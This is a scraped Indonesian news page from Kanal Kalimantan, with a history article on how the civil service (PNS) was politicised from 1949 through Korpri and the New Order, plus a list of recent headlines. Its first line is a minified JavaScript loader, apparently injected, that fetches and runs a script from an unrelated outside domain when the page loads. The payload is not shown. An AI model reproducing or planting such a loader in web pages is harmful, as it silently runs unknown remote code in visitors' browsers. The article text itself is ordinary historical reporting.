(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Historia

PNS, Birokrasi Warisan Kompeni yang Pertama Kali Dicetuskan HW Daendels


Pada masa Agresi 1948 -1949 dimana Belanda mengakui kedaulatan RI, Pegawai negeri terbagi dalam 3 kelompok : pertama Pegawai Negeri yang tinggal di daerah pemerintahan Republik Indonesia tetap menjadi Pegawai Republik Indonesia (RI), kedua Pegawai Negeri yang tinggal di daerah pendudukan Belanda ada yang tetap menjadi pegawai RI (pegawai Non-kooperator) dan yang ketiga adalah pegawai yang bekerja sama dengan Belanda (Kooperator).

Hingga tanggal 27 Desember 1949 seluruh 3 kelompok pegawai ini disatukan menjadi Pegawai Republik Indonesia Serikat.  Pada masa Republik Indonesia Serikat, atau era pemerintahan parlementer dimana sistem ketatanegaraan menganut sistem multi partai. Politisi, tokoh partai mendominasi dan memegang kendali pemerintahan, termasuk dalam seleksi pegawai negeri.

Oleh karena itu jelas PNS lebih berfungsi sebagai alat partai politik dan PNS jadi terkotak-kotak. Manajemen PNS baik mulai penerimaan, pengangkatan hingga pemberhentian lebih ditentukan oleh kedekatan atau loyalitas terhadap partai.

Keadaan ini terus berlanjut hingga Presiden Soekarno mengeluarkan Dekrit Presiden 5 Juli 1959, dengan mengembalikan sistem ketatanegaraan ke sistem Presidensiil berdasar UUD 1945. PNS masuk dalam masa Demokrasi Terpimpin, sistem politik dan sistem ketatanegaraan diwarnai oleh kebijakan Nasakom (Nasionalisme, Agama dan Komunisme).

Pada kondisi ini muncul supaya pegawai negeri netral dari kekuasaan partai-partai sebagaimana tercantum dalam Undang-Undang Nomor : 18 Tahun 1961 pasal 10 ayat 3 ditetapkan bahwa “Bagi suatu golongan pegawai dan/atau sesuatu jabatan, yang karena sifat dan tugasnya memerlukan, dapat diadakan larangan masuk suatu organisasi politik”.

Foto : net

Namun semangat undang-undang ini tidak diteruskan dengan Peraturan Pemerintah untuk mengatur tata laksananya. Dan akhirnya Pegawai pemerintah kembali terjebak dalam mendukung Partai Komunis.  Korpri secara resmi dibentuk setelah munculnya munculnya Keppres RI Nomor : 82 Tahun 1971 tentang Korpri pada tanggal 29 November 1971.

Dimana disebutkan bahwa Korpri “merupakan satu-satunya wadah untuk menghimpun dan membina seluruh pegawai RI di luar kedinasan” (Pasal 2 ayat 2). Tujuan pembentukannya Korps Pegawai ini adalah agar “Pegawai Negeri RI ikut memelihara dan memantapkan stabilitas politik dan sosial yang dinamis dalam negara RI”.

Namun hal ini tidak berlangsung lama karena Korpri kembali menjadi alat politik UU No.3 Th.1975 tentang Partai Politik dan Golongan Karya dan diatur lebih lanjut dalam Peraturan Pemerintah No.20 Th. 1976 tentang Keanggotaan PNS dalam Parpol, makin memperkokoh fungsi Korpri dalam memperkuat barisan partai.  Saat jatuhnya pemerintahan orde baru yang ditandai dengan munculnya era reformasi dan berimbas pada reformasi birokrasi.(cel/berbagai sumber)

Reporter: Cel/lip/tbn
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Tiga Wakil Dekan FISIP ULM 2026-2030 Dilantik, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARMASIN - Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) memulai… Read More

16 jam ago

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

17 jam ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

20 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

21 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

23 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

1 hari ago

This website uses cookies.